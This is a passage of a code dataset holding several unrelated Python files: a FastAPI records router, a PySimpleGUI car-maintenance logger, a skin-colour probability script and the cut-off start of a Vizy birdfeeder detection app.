\"\"\"\n Returns the list of records by id\n \"\"\"\n\n record_query = db.query(models.Record).filter(models.Record.record_id == record_id)\n \n record = record_query.first()\n\n if record == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"record with id: {record_id} does not exist\")\n \n return record\n\n\n@router.post(\"\", status_code=status.HTTP_201_CREATED, response_model=RecordPost)\ndef post_record(record:Record, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n To add the record in the database by post request\n \"\"\"\n\n new_record = models.Record(**record.dict())\n\n if record == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"Invalid Credentials\")\n \n db.add(new_record)\n db.commit()\n db.refresh(new_record)\n\n return new_record\n\n\n@router.put(\"/{id}\", response_model=RecordPost)\ndef update_record(id: int, updated_post: Record, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n To update the record in the database by id\n \"\"\"\n\n update_query = db.query(models.Record).filter(models.Record.record_id == id)\n\n update = update_query.first()\n\n if update == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"record with id: {id} does not exist\")\n\n update_query.update(updated_post.dict(), synchronize_session=False)\n\n db.commit()\n\n return update_query.first()\n\n\n@router.delete(\"/{id}\")\ndef delete_post(id: int, db: Session = Depends(get_db), user_id: int = Depends(oauth2.get_current_user)):\n \"\"\"\n To delete the patient in the database by id\n \"\"\"\n\n delete_query = db.query(models.Record).filter(models.Record.record_id == id)\n\n delete = delete_query.first()\n\n if delete == None:\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\n detail=f\"record with id: {id} does not exist\")\n\n delete_query.delete(synchronize_session=False)\n db.commit()\n\n return Response(status_code=status.HTTP_204_NO_CONTENT)","repo_name":"Shallum99/Fastapi-project","sub_path":"heathmanagement-fastapi-master/app/routers/records.py","file_name":"records.py","file_ext":"py","file_size_in_byte":2946,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"12220297474","text":"#CS361 Project: Tyler Purcell\r\n#Car log program to keep track of any and all maintenance done for a vehicle!\r\n\r\n\r\nimport PySimpleGUI as sg\r\nfrom datetime import date\r\nimport webbrowser\r\nimport os.path\r\n\r\nsg.theme('Dark Green 2') #Overall theme for GUI\r\n\r\n#Each function has to access the GUI so the layout while not the same, has to be accessed each time\r\n\r\ndef initial_window():\r\n #First window users see when the application runs\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text=\"Hello! Welcome to My Maintenance Record Keeper!\"), sg.Push()],\r\n [sg.Push(), sg.Text(text='Please click the button below to understand how this program works!'), sg.Push()],\r\n [sg.Push(), sg.Button('Understanding the Program!'), sg.Push()],\r\n [sg.Push(), sg.Button('Take me to the logger!'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Car Logger', layout, size=(500, 300))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break\r\n print(values)\r\n \r\n if event == 'Understanding the Program!':\r\n understanding_program()\r\n\r\n if event == 'Take me to the logger!':\r\n window.close()\r\n maintenance_logger()\r\n\r\ndef understanding_program():\r\n #Help window function for the car logger\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Hello! Thank you for utilizing my program!', font='Arial 18'), sg.Push()],\r\n [sg.Push(), sg.Text(text='We will cover a few items that you will encounter!', font='Arial 14'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='The first few items will be buttons!'), sg.Button('Click me to see what I can do!'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text('Bellow are examples of buttons that you might encounter! You can click each one to learn more about them.'), sg.Push()],\r\n [sg.Push(), sg.Button('Create New Car Log'), sg.Button('Add Maintenance'), sg.Button('Access Car Log'), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When you are ready to start logging, click the button below!')],\r\n [sg.Push(), sg.Button('Take me to the logger!')]\r\n ]\r\n\r\n window = sg.Window('Help Window', layout, size=(800,400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED:\r\n break\r\n print(values)\r\n \r\n if event == 'Take me to the logger!':\r\n window.close()\r\n maintenance_logger()\r\n\r\n if event == 'Click me to see what I can do!':\r\n button_help()\r\n \r\n if event == 'Create New Car Log':\r\n car_log_help()\r\n\r\n if event == 'Add Maintenance':\r\n maintenance_help()\r\n\r\n if event == 'Access Car Log':\r\n access_car_log()\r\n\r\n if event == 'Close Window':\r\n close_window()\r\n\r\n window.close()\r\n\r\ndef button_help():\r\n #What users see when they navigate to the button help\r\n button_intro = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Buttons are cool! They will open new windows that increase the possibilites for this program!', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='If something gets too overwhelming, just click \"Close Window\" or click the red X in the top right corner', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='If a button closes a window for you, you don\\'t need to worry! That means you no longer need that window!', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='When you are ready to explore the other features, click the Close Window Button below!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Buttons!', button_intro, size=(800, 400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break\r\n window.close()\r\n\r\ndef car_log_help():\r\n #Initial help window for the car logger\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Create a car log!', font='Arial 15'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When creating a new car log you will encounter Input Boxes.', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='These input boxes will look like the following', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Input(), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='The input boxes are where you will Input the data that is asked.', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text('To do this, simply click in the box and start typing!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Back'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Car Log Help', layout, size=(800, 400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Back':\r\n break\r\n window.close()\r\n\r\ndef maintenance_help():\r\n #How maintenance function of logger works\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When adding maintenance to a car log, you will encounter the following:', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will see input boxes', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Input(), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will see buttons', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Button('I am a button!'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='These items will allow you to input information that will be stored.', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='Buttons will either store the information or cancel it', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Back')]\r\n ]\r\n\r\n window = sg.Window('Maintenance help', layout, size=(800,400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED:\r\n break\r\n\r\n if event == 'I am a button!':\r\n button_help()\r\n\r\n if event == 'Back':\r\n break\r\n window.close()\r\n \r\n\r\n window.close()\r\n\r\ndef access_car_log():\r\n #How to utilize the access log function\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='When requesting access to a car log, you will see mulitple items.', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will have drop down boxes:', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Combo(size=(41), values=car_list), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You will see buttons', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Button('I am a button!'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='These items will allow you to make a request to the microservice my partner has designed.', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Text(text='The microservice will then send information back, for it to be displayed!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Back')]\r\n ]\r\n\r\n window = sg.Window('Access Help', layout, size=(800,400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED:\r\n break\r\n\r\n if event == 'I am a button!':\r\n button_help()\r\n\r\n if event == 'Back':\r\n break\r\n window.close()\r\n\r\ndef close_window():\r\n #How the close window works for the application\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='This is a simple button!', font='Arial 13'), sg.Push()],\r\n [sg.Push(), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='If you see this button, it will simply close the window you are in', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='You can test it with the above button!', font='Arial 13'), sg.Push()],\r\n [sg.VPush()],\r\n ]\r\n\r\n window = sg.Window('Close Window', layout, size=(800,400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break \r\n window.close()\r\n\r\n\r\ndef maintenance_logger():\r\n #When accessing the logger, initial window for the logger\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Please choose an item below!', font='Arial 15'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button(\"Edit Car Log\"), sg.Push(), sg.Button('Create New Car Log'), sg.Push(), sg.Button(\"Add Maintenance\"), sg.Push(), sg.Button('Access Car Log'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Delete Car Log'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button(\"Understanding the Logger\"), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button(\"Close Application\", button_color=('black on red'))]\r\n ]\r\n\r\n window = sg.Window(\"CS361 Product\", layout, size=(500, 300))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Close Window':\r\n break\r\n print(event, values)\r\n\r\n if event == 'Understanding the Logger':\r\n window.close()\r\n understanding_program()\r\n\r\n if event == 'Edit Car Log':\r\n edit_car_log()\r\n \r\n if event == 'Create New Car Log':\r\n new_car_log()\r\n\r\n if event == 'Add Maintenance':\r\n add_maintenance()\r\n\r\n if event == 'Delete Car Log':\r\n delete_car_log()\r\n\r\n if event == 'Access Car Log':\r\n access_log()\r\n\r\n if event == 'Close Application':\r\n exit()\r\n\r\n window.close()\r\n\r\ndef new_car_log():\r\n #Function to create a new car log\r\n layout = [\r\n [sg.Text(text='Please enter the year, Make, and Model of the new entry.')],\r\n [sg.Input()],\r\n [sg.Button(\"Create Entry\"), sg.Button(\"Cancel Entry\")]\r\n ]\r\n window = sg.Window('New Vehicle Entry', layout)\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Cancel Entry':\r\n break\r\n print(event, values)\r\n\r\n if event == 'Create Entry':\r\n today = str(date.today())\r\n new_car = values[0]\r\n file_name = str(new_car).replace( ' ', '.') \r\n print(file_name)\r\n if os.path.exists(file_name + '.txt') == True:\r\n sg.popup(title='Already Exists', custom_text='This Car Log Already Exists')\r\n if event == \"This Car Log Already Exists\":\r\n window.close()\r\n else:\r\n car_log = open(file_name.lower() + \".txt\", \"x\")\r\n with car_log:\r\n car_log.write((str(new_car)) + \" car log created! Date Created: \" + today)\r\n car_database = open(\"database.txt\", \"a\")\r\n car = str(file_name).replace('.', ' ')\r\n with car_database:\r\n car_database.write((str(car) + '\\n'))\r\n sg.popup(title='New car log created!', custom_text='New Car log created')\r\n if event == \"New Car log created!\":\r\n break\r\n window.close()\r\n \r\n window.close()\r\n\r\ndef edit_car_log():\r\n #Function to edit the car log\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='This feature allows you to edit a car log if you need to.'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Please note, that you are editing the file itself.'), sg.Push()],\r\n [sg.Push(), sg.Button('Edit a Car Log'), sg.Push(), sg.Button('Close Window'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n \r\n\r\n window = sg.Window('Edit Car Log', layout)\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Close Window':\r\n break\r\n print(event, values)\r\n\r\n if event == \"Edit a Car Log\":\r\n edit_layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Please enter the log you want to edit'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Input(), sg.Push()],\r\n [sg.Push(), sg.Button('Edit Log'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Button('Cancel', button_color='black on red')]\r\n ]\r\n\r\n new_window = sg.Window('Proceed', edit_layout)\r\n while True:\r\n event, values = new_window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Cancel':\r\n break\r\n if event == 'Edit Log':\r\n find_car = values[0]\r\n find_file = str(find_car).replace(' ', '.')\r\n print(find_file)\r\n if os.path.exists(find_file + '.txt') == False:\r\n sg.popup(title='This Car Log does not exist', custom_text='This Car Log does not exist')\r\n if event == \"This Car Log does not exists\":\r\n break\r\n if event == 'Close Window':\r\n new_window.close()\r\n else:\r\n webbrowser.open(find_file.lower() + '.txt')\r\n new_window.close()\r\n window.close()\r\n\r\n\r\ndef delete_car_log():\r\n #Function to delete a specific car log\r\n\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='Here you can select a car log to delete if you need to.', font='Arial 15'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text(text='This will delete the file in its entirety.', font='Arial 20'), sg.Push()],\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text('Please select the Log to delete'), sg.Combo(size=(41), values=car_list), sg.Push()],\r\n [sg.Push(), sg.Button('Delete Car Log'), sg.Push(), sg.Button('Cancel'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n \r\n\r\n window = sg.Window('Edit Car Log', layout, size=(800,400))\r\n\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'Cancel':\r\n break\r\n print(event, values)\r\n\r\n if event == \"Delete Car Log\":\r\n value = values[0]\r\n delete_helper(value)\r\n sg.popup('Car log deleted')\r\n break\r\n\r\n window.close()\r\n\r\ndef delete_helper(value):\r\n #Helper function that passes in value for deleting the car log file and name from database\r\n\r\n layout = [\r\n [sg.VPush()],\r\n [sg.Push(), sg.Text('Do you wish to procede to delete the car log?', font='Arial 15'), sg.Push()],\r\n [sg.Push(), sg.Button('Yes I am sure'), sg.Push(), sg.Button('No! Cancel!'), sg.Push()],\r\n [sg.VPush()]\r\n ]\r\n\r\n window = sg.Window('Last Chance', layout, size=(800, 400))\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WINDOW_CLOSED or event == 'No! Cancel!':\r\n break\r\n window.close()\r\n\r\n if event == 'Yes I am sure':\r\n file_delete = value\r\n file_name = str(file_delete).replace(' ', '.')\r\n if os.path.exists(file_name.lower() + '.txt') == False:\r\n sg.popup(title='The car log does not exist', custom_text='The car log does not exist')\r\n if event == 'The car log does not exist':\r\n break\r\n window.close()\r\n else:\r\n os.remove(file_name.lower() + '.txt')\r\n with open('database.txt', 'r') as data:\r\n new_data = data.readlines()\r\n with open('database.txt', 'w') as updated:\r\n for line in new_data:\r\n if line.strip('\\n') != file_delete:\r\n updated.write(line)\r\n break\r\n window.close()\r\n window.close()\r\ndef access_log():\r\n #Function for utilizing partners microservice\r\n\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n\r\n layout = [\r\n [sg.Text(text='Here you can search for an existing car log!')],\r\n [sg.Text(text='To search for a log, simply select the Year, Make, and Model below!')],\r\n [sg.Combo(size=(41), values=car_list)], [sg.Button('Access Car Log')],\r\n [sg.Button('Close Window')]\r\n ]\r\n\r\n window = sg.Window('Access Log', layout)\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Close Window':\r\n break\r\n window.close()\r\n\r\n if event == 'Access Car Log':\r\n data_file = open('data_file.txt', 'w')\r\n with data_file:\r\n data_file.write(str(values[0]))\r\n data_file.close()\r\n sg.popup(\"Car Found, gathering information\")\r\n break \r\n window.close()\r\n \r\n\r\ndef add_maintenance():\r\n #Function to add a maintenance event to the car log\r\n\r\n database = open(\"database.txt\", 'r')\r\n car_database = database.read()\r\n car_list = car_database.split('\\n')\r\n\r\n layout = [\r\n [sg.Text(text='Here you can add Maintenance Completed to Cars!')],\r\n [sg.Text(text='Select the Year, Make, and Model here!')], [sg.Combo(size=(41), values=car_list)],\r\n [sg.Text(text='Enter Maintenance Type here!')], [sg.Input()],\r\n [sg.Text(text='Enter Mileage here!')], [sg.Input()],\r\n [sg.Button('Add Item'), sg.Button('Close Window')]\r\n ]\r\n \r\n window = sg.Window('Add Maintenance', layout)\r\n while True:\r\n event, values = window.read()\r\n if event == sg.WIN_CLOSED or event == 'Close Window':\r\n break\r\n window.close()\r\n \r\n if event == 'Add Item':\r\n car_type = values[0]\r\n maintenance_type = values[1]\r\n mileage = values[2]\r\n car_log = str(car_type).replace(' ', '.')\r\n file_name = open(car_log +'.txt', 'a')\r\n with file_name:\r\n file_name.write('\\n')\r\n file_name.write('Completed on: ' + str(date.today()) + '\\n')\r\n file_name.write('Maintenance Type: ' + str(maintenance_type) + '\\n')\r\n file_name.write('Mileage Performed at: ' + str(mileage) + '\\n')\r\n sg.popup(custom_text='Maintenance Record Added!')\r\n break\r\n window.close()\r\n \r\n \r\n\r\n\r\nif __name__ == '__main__':\r\n initial_window()","repo_name":"tmpurcell/CS361","sub_path":"CS361_Product.py","file_name":"CS361_Product.py","file_ext":"py","file_size_in_byte":19574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"32372682585","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 14 18:25:37 2022\r\n\r\n@author: user\r\n\"\"\"\r\n\r\n# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Wed Dec 14 18:25:37 2022\r\n\r\n@author: user\r\n\"\"\"\r\nimport numpy as np\r\nfrom PIL import Image\r\nimport os\r\n\r\ndef absoluteFilePaths(directory):\r\n filePaths = []\r\n for dirpath,_,filenames in os.walk(directory):\r\n for f in filenames:\r\n filePaths.append(os.path.abspath(os.path.join(dirpath, f))) \r\n return filePaths\r\n\r\n\r\n\r\ndef process_images(imagePaths, maskPaths):\r\n global skinPixelNumber, nonskinPixelNumber\r\n for i in range(len(imagePaths)):\r\n im = Image.open(imagePaths[i])\r\n ms = Image.open(maskPaths[i])\r\n im = im.convert('RGB')\r\n ms = ms.convert('RGB')\r\n\r\n width, height = im.size\r\n\r\n for y in range(height):\r\n for x in range(width):\r\n red, green, blue = im.getpixel((x, y))\r\n maskRed, maskGreen, maskBlue = ms.getpixel((x, y))\r\n \r\n if(maskRed>250 and maskGreen>250 and maskBlue>250):\r\n nonskinPixelNumber[red][green][blue] += 1\r\n \r\n else:\r\n skinPixelNumber[red][green][blue] += 1\r\n print('image no: ' + str(i) + ' processed!')\r\n im.close()\r\n ms.close()\r\n \"\"\"\r\n probability = np.zeros((256, 256, 256))\r\n file = open('probability.txt', 'r')\r\n lines = file.readlines()\r\n\r\n for line in lines:\r\n r, g, b, prob = line.split('->')\r\n probability[int(r)][int(g)][int(b)] = float(prob)\r\n\"\"\"\r\ndef calculate_probability(skin, non_skin):\r\n skin_count = np.sum(skin)\r\n non_skin_count = np.sum(non_skin)\r\n skin_probability = skin/ skin_count\r\n non_skin_probability =non_skin / non_skin_count\r\n threshold = np.zeros((256, 256, 256))\r\n\r\n for i in range(256):\r\n for j in range(256):\r\n for k in range(256):\r\n if non_skin_probability[i][j][k] == 0.0 and skin_probability[i][j][k] == 0.0 :\r\n threshold[i][j][k] = 0.0\r\n elif non_skin_probability[i][j][k] == 0.0 and skin_probability[i][j][k] != 0.0 :\r\n threshold[i][j][k] = skin_probability[i][j][k]\r\n else:\r\n threshold[i][j][k] = skin_probability[i][j][k] / non_skin_probability[i][j][k]\r\n #skin_probability = p * np.divide(skin, np.add(skin, non_skin))\r\n\r\n return threshold\r\n\r\ndef probability_file(skin_probability):\r\n out = open('probability.txt', 'w')\r\n hmm = open('value.txt', 'w')\r\n #out.write(\"Red->Green->Blue->Probability\\n\")\r\n\r\n for i in range(256):\r\n for j in range(256):\r\n for k in range(256):\r\n out.write(str(i)+'->'+str(j)+'->'+str(k)+'->'+str(skin_probability[i][j][k])+'\\n')\r\n if skin_probability[i][j][k] > 0.0:\r\n hmm.write(str(i) + '->' + str(j) + '->' + str(k) + '->' + str(skin_probability[i][j][k]) + '\\n')\r\n\r\n out.close()\r\n hmm.close()\r\n\r\nif __name__=='__main__':\r\n imagePaths = absoluteFilePaths(\"./data/image\")\r\n maskPaths = absoluteFilePaths(\"./data/mask\")\r\n\r\n # skinPixelNumber = [[[0 for k in range(256)] for j in range(256)] for i in range(256)]\r\n # nonskinPixelNumber = [[[0 for k in range(256)] for j in range(256)] for i in range(256)]\r\n skinPixelNumber = np.zeros((256, 256, 256), dtype=np.float64)\r\n nonskinPixelNumber = np.zeros((256, 256, 256), dtype=np.float64)\r\n\r\n process_images(imagePaths, maskPaths)\r\n skin_probability = calculate_probability(skinPixelNumber, nonskinPixelNumber)\r\n probability_file(skin_probability)\r\n","repo_name":"nashrah22/OOP-using-Python","sub_path":"gather.py","file_name":"gather.py","file_ext":"py","file_size_in_byte":3491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"20519202960","text":"#\n# This file is part of Vizy \n#\n# All Vizy source code is provided under the terms of the\n# GNU General Public License v2 (http://www.gnu.org/licenses/gpl-2.0.html).\n# Those wishing to use Vizy source code, software and/or\n# technologies under different licensing terms should contact us at\n# support@charmedlabs.com. \n#\n\nimport os\nimport cv2\nimport time\nimport json\nimport datetime\nfrom urllib.request import urlopen\nimport numpy as np\nfrom threading import Thread, RLock\nimport kritter\nfrom kritter import get_color\nfrom kritter.tflite import TFliteClassifier, TFliteDetector\nfrom dash_devices.dependencies import Input, Output\nimport dash_html_components as html\nfrom vizy import Vizy, MediaDisplayQueue\nimport vizy.vizypowerboard as vpb\nfrom handlers import handle_event, handle_text\nfrom kritter.ktextvisor import KtextVisor, KtextVisorTable, Image, Video\n\n# Minimum allowable detection senstivity/treshold\nMIN_THRESHOLD = 0.1\n# Maximum allowable detection senstivity/treshold\nMAX_THRESHOLD = 0.9\n# We start tracking at the current sensitivity setting and stop tracking at the \n# sensitvity - THRESHOLD_HYSTERESIS \nTHRESHOLD_HYSTERESIS = 0.2\n# Native camera mode\nCAMERA_MODE = \"1920x1080x10bpp\"\nCAMERA_WIDTH = 1920\n# Streaming and maximum rendering resolution\nSTREAM_WIDTH = 800\n# Time in seconds to buffer defense videos \nPRE_POST_ROLL = 1 \n# Image average for daytime detection (based on 0 to 255 range)\nDAYTIME_THRESHOLD = 20\n# Poll period (seconds) for checking for daytime\nDAYTIME_POLL_PERIOD = 10\n\nCONFIG_FILE = \"birdfeeder.json\"\nCONSTS_FILE = \"birdfeeder_consts.py\"\nNON_BIRD = \"Non-bird\"\n\nDEFAULT_CONFIG = {\n \"brightness\": 50,\n \"detection_sensitivity\": 75,\n \"species_of_interest\": None, # This will be filled in with all species\n \"pest_species\": [NON_BIRD],\n \"trigger_species\": [],\n \"gphoto_upload\": False,\n \"share_photos\": False,\n \"share_url\": '',\n \"share_url_emailed\": False,\n \"smooth_video\": False,\n \"text_new_species\": False,\n \"defense_duration\": 3, \n \"record_defense\": False,\n \"seen_species\": []\n}\n\nBASEDIR = os.path.dirname(os.path.realpath(__file__))\nMEDIA_DIR = os.path.join(BASEDIR, \"media\")\n# Video states\nWAITING = 0\nRECORDING = 1\nSAVING = 2\n\nclass BirdInference:\n\n def __init__(self, classifier):\n self.detector = TFliteDetector(os.path.join(BASEDIR, \"bird_detector.tflite\"))\n self.classifier = TFliteClassifier(classifier)\n\n def detect(self, image, threshold=0.75):\n dets = self.detector.detect(image, threshold)\n res = []\n for d in dets:\n if d['class']==\"Bird\":\n box = d['box']\n bird = image[box[1]:box[3], box[0]:box[2]]\n bird_type = self.classifier.classify(bird)\n obj = {\"class\": bird_type[0]['class'], \"score\": bird_type[0]['score'], \"box\": box}\n else:\n obj = d\n res.append(obj)\n return res\n\n def classes(self):\n return [NON_BIRD] + self.classifier.classes()\n\n\n \nclass Birdfeeder:\n def __init__(self):\n\n # Create Kritter server.\n self.kapp = Vizy()\n\n # Initialize variables.\n config_filename = os.path.join(self.kapp.etcdir, CONFIG_FILE) \n self.config = kritter.ConfigFile(config_filename, DEFAULT_CONFIG) \n consts_filename = os.path.join(BASEDIR, CONSTS_FILE) \n self.config_consts = kritter.import_config(consts_filename, self.kapp.etcdir, [\"IMAGES_KEEP\", \"IMAGES_DISPLAY\", \"PICKER_TIMEOUT\", \"GPHOTO_ALBUM\", \"MEDIA_QUEUE_IMAGE_WIDTH\", \"DEFEND_BIT\", \"CLASSIFIER\", \"TRACKER_DISAPPEARED_DISTANCE\", \"TRACKER_MAX_DISAPPEARED\", \"TRACKER_CLASS_SWITCH\"]) \n self.lock = RLock()\n self.record = None\n self._grab_thread = None\n self.detector = None\n self.record_state = WAITING\n self.take_pic = False\n self.defend_thread = None\n self.daytime = kritter.CalcDaytime(DAYTIME_THRESHOLD, DAYTIME_POLL_PERIOD)\n # Create unique identifier to mark photos\n self.uuid = bytes(self.kapp.uuid).hex().upper()\n # Map 1 to 100 (sensitivity) to 0.9 to 0.1 (detection threshold)\n self.sensitivity_range = kritter.Range((1, 100), (0.9, 0.1), inval=self.config['detection_sensitivity']) \n\n # Initialize power board defense bit.\n self.kapp.power_board.vcc12(True)\n self.kapp.power_board.io_set_mode(self.config_consts.DEFEND_BIT, vpb.IO_MODE_HIGH_CURRENT)\n self.kapp.power_board.io_set_bit(self.config_consts.DEFEND_BIT) # set defend bit to high (turn off)\n\n # Create and start camera.\n self.camera = kritter.Camera(hflip=True, vflip=True, mem_reserve=50)\n self.stream = self.camera.stream()\n self.camera.mode = CAMERA_MODE\n self.camera.brightness = self.config['brightness']\n self.camera.framerate = 20\n self.camera.autoshutter = True\n self.camera.awb = True\n\n # Invoke KtextVisor client, which relies on the server running.\n # In case it isn't running, just roll with it. \n try:\n self.tv = KtextVisor()\n def mrm(words, sender, context):\n try:\n n = min(int(words[1]), 10)\n except:\n n = 1\n res = []\n images_and_data = self.media_queue.get_images_and_data()\n for image, data in images_and_data:\n try:\n if image.endswith(\".mp4\"):\n res.append(f\"{data['timestamp']} Video\")\n res.append(Video(os.path.join(MEDIA_DIR, image)))\n else:\n res.append(f\"{data['timestamp']} {data['dets'][0]['class']}\")\n res.append(Image(os.path.join(MEDIA_DIR, image))) \n except:\n pass\n else:\n if len(res)//2==n:\n break\n return res\n tv_table = KtextVisorTable({\"mrm\": (mrm, \"Displays the most recent birdfeeder picture/video, or n media with optional n argument.\")})\n @self.tv.callback_receive()\n def func(words, sender, context):\n return tv_table.lookup(words, sender, context)\n @self.tv.callback_receive()\n def func(words, sender, context):\n return handle_text(self, words, sender, context)\n print(\"*** Texting interface found!\")\n except:\n self.tv = None\n print(\"*** Texting interface not found.\")\n\n self.gcloud = kritter.Gcloud(self.kapp.etcdir)\n self.gphoto_interface = self.gcloud.get_interface(\"KstoreMedia\")\n self.store_media = kritter.SaveMediaQueue(path=MEDIA_DIR, keep=self.config_consts.IMAGES_KEEP, keep_uploaded=self.config_consts.IMAGES_KEEP)\n if self.config['gphoto_upload']:\n self.store_media.store_media = self.gphoto_interface \n self.tracker = kritter.DetectionTracker(maxDisappeared=self.config_consts.TRACKER_MAX_DISAPPEARED, maxDistance=self.config_consts.TRACKER_DISAPPEARED_DISTANCE, classSwitch=self.config_consts.TRACKER_CLASS_SWITCH)\n self.picker = kritter.DetectionPicker(timeout=self.config_consts.PICKER_TIMEOUT)\n self.detector_process = kritter.Processify(BirdInference, (os.path.join(BASEDIR, self.config_consts.CLASSIFIER),))\n self._handle_detector()\n\n if self.config['species_of_interest'] is None:\n self.config['species_of_interest'] = self.detector_process.classes()\n self.config['species_of_interest'].remove(NON_BIRD)\n self.config.save()\n self._set_threshold()\n self._handle_sharing()\n\n dstyle = {\"label_width\": 5, \"control_width\": 5}\n\n # Create video component and histogram enable.\n self.video = kritter.Kvideo(width=STREAM_WIDTH, overlay=True)\n brightness = kritter.Kslider(name=\"Brightness\", value=self.camera.brightness, mxs=(0, 100, 1), 